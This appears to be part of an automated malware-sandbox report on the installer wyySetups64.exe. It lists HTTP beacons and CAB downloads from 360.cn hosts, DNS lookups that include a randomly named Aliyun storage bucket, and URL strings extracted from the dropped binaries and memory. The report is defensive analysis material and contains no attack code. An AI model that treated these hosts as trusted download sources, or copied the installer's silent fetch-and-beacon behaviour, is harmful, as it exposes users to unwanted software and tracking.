Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=107&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /360safe/h_inst.cab?rd=36608336 HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)Host: pinst.360.cnConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=4187&downrate=0&downlen=0 HTTP/1.1Host: s.360.cnConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: gwwifha84989.oss-ap-northeast-2.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: s.360.cn
Source: global traffic	DNS traffic detected: DNS query: st.p.360.cn
Source: global traffic	DNS traffic detected: DNS query: agt.p.360.cn
Source: global traffic	DNS traffic detected: DNS query: tr.p.360.cn
Source: global traffic	DNS traffic detected: DNS query: agd.p.360.cn
Source: global traffic	DNS traffic detected: DNS query: pinst.360.cn

Source: 360instpatch.exe, 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://%s/%s.trt
Source: 360instpatch.exe, 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://%s/%u%u.html
Source: 360instpatch.exe	String found in binary or memory: http://%s/gf/360ini.cab
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://%s/gf/360ini.cabhttp://dl.360safe.com/gf/360ini.cab
Source: 360instpatch.exe	String found in binary or memory: http://%s/wpad.dat
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://123.com/
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://123.com/wdurlprocsi:19510029safeinstallsafeinstall.infoseinstallseinstall.infopop:
Source: 360instpatch.exe, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://360.cn
Source: 360instpatch.exe, 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://agd.p.360.cn
Source: 360instpatch.exe, 00000008.00000002.4118556728.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://agd.p.360.cn36pData
Source: 360instpatch.exe, 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799585748.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://bbs.360.cn/thread-15735708-1-1.htmlPA1http://www.360.cn/privacy/v3/360anquanweishi.htmlPA
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: sites.dll.8.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: wyySetups64.exe, 00000000.00000002.1810189166.0000000000821000.00000004.00000020.00020000.00000000.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: wyySetups64.exe, 00000000.00000002.1818515504.000000000325B000.00000004.00000010.00020000.00000000.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: sites.dll.8.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: svchost.exe, 0000000C.00000002.3462329786.000001A6AFC10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 360instpatch.exe	String found in binary or memory: http://dl.360safe.com/gf/360ini.cab
Source: 360instpatch.exe, 00000008.00000003.1883514996.0000000008D90000.00000004.00000800.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4117987871.00000000040AA000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4116675905.000000000325F000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115560629.00000000012F6000.00000004.00000010.00020000.00000000.sdmp, setup.ini.8.dr	String found in binary or memory: http://dl.360safe.com/setup_13.0.0.2008k.exe
Source: 360instpatch.exe	String found in binary or memory: http://down.360safe.com/
Source: 360instpatch.exe, 00000008.00000003.1883514996.0000000008D90000.00000004.00000800.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4117987871.00000000040AA000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115560629.00000000012F6000.00000004.00000010.00020000.00000000.sdmp, setup.ini.8.dr	String found in binary or memory: http://down.360safe.com/360safe/slideshow_new.cab
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://down.360safe.com/h11=
Source: 360instpatch.exe	String found in binary or memory: http://down.360safe.com/setup.exe
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, sites.dll.8.dr, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://down.360safe.com/setup.exePathSOFTWARE
Source: 360instpatch.exe, 00000009.00000002.1799520437.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://down.360safe.com/setup.exehttp://d
Source: 360instpatch.exe, 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmp, 360instpatch.exe, 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000000.1789703618.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798326066.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799520437.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799550491.0000000000BF8000.00000004.00000001.01000000.0000000A.sdmp, sites.dll.8.dr, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe
Source: 360instpatch.exe, 00000008.00000000.1789703618.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798326066.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799550491.0000000000BF8000.00000004.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exeh
Source: 360instpatch.exe	String found in binary or memory: http://down.360safe.com/setupbeta.exe
Source: svchost.exe, 0000000C.00000003.1825614884.000001A6AFA88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000000C.00000003.1825614884.000001A6AFA88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000C.00000003.1825614884.000001A6AFA88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000000C.00000003.1825614884.000001A6AFABD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.12.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000006.00000002.1779756708.0000000007A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoftM
Source: powershell.exe, 00000006.00000002.1779756708.0000000007A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoftMicrosoft.PowerShell.ODataAdapter.ps1
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://hao.360.com
Source: 360instpatch.exe, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://home.arcor.de/starwalker22/Test/UrlExtractDemo.cab
Source: powershell.exe, 00000006.00000002.1778471826.0000000006598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: wyySetups64.exe, 00000000.00000002.1810189166.0000000000821000.00000004.00000020.00020000.00000000.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: sites.dll.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: wyySetups64.exe, 00000000.00000002.1818515504.000000000325B000.00000004.00000010.00020000.00000000.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: 360instpatch.exe	String found in binary or memory: http://p.s.360.cn/p2p/p2sp_uplog.php
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://p.s.360.cn/p2p/p2sp_uplog.php0cpsign1md5b3deb21a3401d8e933ddcb45a6c07222
Source: powershell.exe, 00000006.00000002.1774677766.0000000005685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: 360instpatch.exe, 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799585748.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://pinst.360.cn/360haohua/safe_chaoqiang.cab?
Source: 360instpatch.exe, 00000008.00000002.4115869359.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799585748.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://pinst.360.cn/360safe/h_inst.cab
Source: 360instpatch.exe, 00000008.00000002.4118275547.0000000004286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pinst.360.cn/360safe/h_inst.cab?rd=36608336
Source: 360instpatch.exe, 00000008.00000002.4118275547.0000000004286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pinst.360.cn/360safe/h_inst.cab?rd=36608336//VJ8
Source: 360instpatch.exe, 00000008.00000002.4115869359.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pinst.360.cn/360safe/h_inst.cab?rd=366083369C0-6B1983C61382
Source: 360instpatch.exe, 00000008.00000002.4118556728.00000000046D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pinst.360.cn/360safe/h_inst.cab?rd=36608336st.c
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://pinst.360.cn/360se/wssj_setup.cab
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://pinst.360.cn/zhuomian/desktopsafe.cab
Source: 360instpatch.exe	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=%d&status=%d&m=%s&from=%s&vv=10
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=%d&status=%d&m=%s&from=%s&vv=10&http://s.360.cn/safe/instcomp
Source: 360instpatch.exe	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=%d&status=%d&m=%s&from=%s&vv=10&installed=%d
Source: 360instpatch.exe, 00000008.00000002.4115869359.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1844261692.000000000320E000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1836204024.0000000003018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefin
Source: 360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115869359.0000000001609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefi
Source: 360instpatch.exe, 00000008.00000002.4116675905.00000000031DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safef
Source: 360instpatch.exe, 00000008.00000003.1844261692.0000000003222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=107&m=6039146e22b008fbd61fc0617475e9aa&from=safef
Source: 360instpatch.exe, 00000008.00000003.1844261692.0000000003222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safef
Source: 360instpatch.exe, 00000008.00000003.1836135018.0000000003236000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefi
Source: 360instpatch.exe, 00000008.00000002.4115869359.000000000155E000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4116675905.00000000031CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safef
Source: 360instpatch.exe, 00000008.00000002.4115869359.0000000001609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safef
Source: 360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115869359.0000000001609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefin
Source: 360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4116675905.00000000031CA000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1844261692.000000000321E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefi
Source: 360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.360.cn/safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safef
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://s.symcd.com06
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://s2.symcb.com0
Source: 360P2SP.dll.8.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 360instpatch.exe, 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: powershell.exe, 00000006.00000002.1774677766.0000000005531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1765795867.0000000004838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1774677766.0000000005685000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774677766.0000000005960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: wyySetups64.exe, 00000000.00000002.1810189166.0000000000821000.00000004.00000020.00020000.00000000.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: sites.dll.8.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: sites.dll.8.dr	String found in binary or memory: http://sf.symcb.com/sf.crl0a
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://sf.symcb.com/sf.crl0f
